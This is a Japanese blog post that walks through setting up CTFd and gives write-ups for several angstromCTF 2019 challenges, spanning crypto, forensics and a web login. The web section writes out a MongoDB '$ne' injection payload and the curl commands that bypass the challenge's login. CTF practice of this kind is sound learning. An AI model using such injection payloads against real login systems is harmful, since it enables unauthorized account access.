CTFd を動かしてみる
インストール
λ git clone https://github.com/CTFd/CTFd.git |
これで http://localhost:8000 にアクセス!
結構色々できてすごい。CTF の問題は Docker とかで動かせば良いっぽいね。
λ git clone https://github.com/CTFd/CTFd.git |
これで http://localhost:8000 にアクセス!
結構色々できてすごい。CTF の問題は Docker とかで動かせば良いっぽいね。
問題文の Paillier が問題を解くためのヒントだということに気づけなかった。
Paillier 暗号というのも初めてなので、ちゃんと勉強しよう。
ペイエ暗号というらしい。
RSAに似てるけど加法準同型性を満たす珍しい暗号みたいで、存在を知れてよかった。
runes.txt
には以下の内容だけが含まれています。
n: 99157116611790833573985267443453374677300242114595736901854871276546481648883 |
まずは msieve
で p
と q
の値を求めます。
λ msieve -q -v -e 99157116611790833573985267443453374677300242114595736901854871276546481648883 |
77桁なので2分程度で求まりました。
あとはこんな感じのプログラムで復号します。
import Crypto.Number.ModArithmetic |
実行結果
*Main> solve c |
"actf{crypto_lives}"
ジャンル | 解いた数 / 問題数 |
---|---|
MISC | 8 / 13 |
REV | 4 / 6 |
WEB | 2 / 9 |
CRYPTO | 3 / 12 |
BINARY | 1 / 8 |
最終的に 720 点の 205 位でした。
開催期間が1週間ほどの大会だったので、問題数が結構ありました。
問題もクイズ形式で簡単なものから難しいものまで幅広く、非常に勉強になりました。
サーバーがめっちゃ重たかったり、シェルにログインできなかったりということもありましたが、初心者の僕でもとても楽しむことができました。
WEB
と CRYPTO
をもっと解けるようにしないといけないかなと思います。
また来年も出てみようと思います。
MongoDB に対する NoSQL インジェクションの問題でした。
画面はこんな感じ。
表示されているコードは以下の通り。
app.use(bodyParser.json()); |
とりあえず curl
でリクエストを投げてみる。
λ curl -X POST https://nosequels.2019.chall.actf.co/login -d "username=aaa&password=bbb" |
No authorization token was found
が返ってきてしまいます。これはクッキーのせいです。
なので、まずは GET リクエストでクッキーを取得して、それを使って POST を投げます。
λ curl https://nosequels.2019.chall.actf.co/login -c cookie.txt |
これでリクエストが投げれるようになりました。NoSQL インジェクションのために次のような json ファイルを用意します。
{ "username": { "$ne": null }, |
あとはこれを curl で投げるだけです。
λ curl -d @payload.json -H "Content-Type: application/json" https://nosequels.2019.chall.actf.co/login -b cookie.txt |
なぜかリダイレクトしようとしていますね。(次の問題のページだったりします)
λ curl -d @payload.json -H "Content-Type: application/json" https://nosequels.2019.chall.actf.co/login -b cookie.txt -L | grep actf |
ということでこれでフラグゲット。
actf{no_sql_doesn't_mean_no_vuln}
ただのフォレンジックでした。(ヒントを見てわかった)
まずは paper_bin.dat
をダウンロードします。
あとは foremost
で一発でした。
λ foremost paper_bin.dat |
出力された outpu/audit.txt
を確認すると pdf が20個も隠れていることがわかる。
λ cat output/audit.txt |
00011880.pdf
にだけ (PDF is Linearized)
という表示が出てるので、このファイルを調べるとフラグゲット。
actf{proof_by_triviality}
classy_cipher.py
の内容は以下の通り。
from secret import flag, shift |
フラグを shift
分ずらしてるだけ。フラグの形式は actf{xxxxxx}
となっているはずなので a
と :
が対応するような shift
を探す。
Haskell で書くとこんな感じ。
import Data.Char |
試してみます。
*Main> solve 'a' ':' |
シフト数がわかったので復号します。
*Main> map (shift (-216)) ":<M?TLH8<A:KFBG@V" |
actf{so_charming}
half_and_half.py
の内容は以下の通り。
from secret import flag |
コードを読むと、どうやらフラグの前半と後半の xor
を計算しているということがわかる。
そしてその結果が '\x15\x02\x07\x12\x1e\x100\x01\t\n\x01"'
になるようだ。
この文字列は16進数のコードポイント形式 (\x15
) と数値 (0
) と文字列 (\t
, "
) がまざっているため、わかりにくいが、読み解くと全部で12文字だということがわかる。
ということは以下の表の下段の x8
, x9
, x10
, x11
, x12
と上段の x7
は即座に計算できる。
index | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
---|---|---|---|---|---|---|---|---|---|---|---|---|
前半の12文字 | a | c | t | f | { | x1 | x2 | x3 | x4 | x5 | x6 | x7 |
後半の12文字 | x8 | x9 | x10 | x11 | x12 | x13 | x14 | x15 | x16 | x17 | x18 | } |
xor を計算した結果 | 0x15 | 0x02 | 0x07 | 0x12 | 0x1e | 0x10 | 0 | 0x01 | \t | \n | 0x01 | “ |
Haskell でこれを計算してみます。
import Data.Bits |
map (uncurry solve) xs |
良い感じです。ここまでで、さっきの表が少し埋まりました。
index | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
---|---|---|---|---|---|---|---|---|---|---|---|---|
前半の12文字 | a | c | t | f | { | x1 | x2 | x3 | x4 | x5 | x6 | _ |
後半の12文字 | t | a | s | t | e | x13 | x14 | x15 | x16 | x17 | x18 | } |
xor を計算した結果 | 0x15 | 0x02 | 0x07 | 0x12 | 0x1e | 0x10 | 0 | 0x01 | \t | \n | 0x01 | “ |
つなげると actf{??????_taste??????}
という形になります。
ここからはエスパーで tastes_nice
なんじゃないかと思って計算して、失敗したので tastes_good
でいけたって感じです。
なのでそんな感じで計算すると
xs :: [(Char, Int)] |
map (uncurry solve) xs |
良い感じに前半が出てきました。あとはくっつけるだけです。
map (uncurry solve) xs <> map fst xs |
actf{coffee_tastes_good}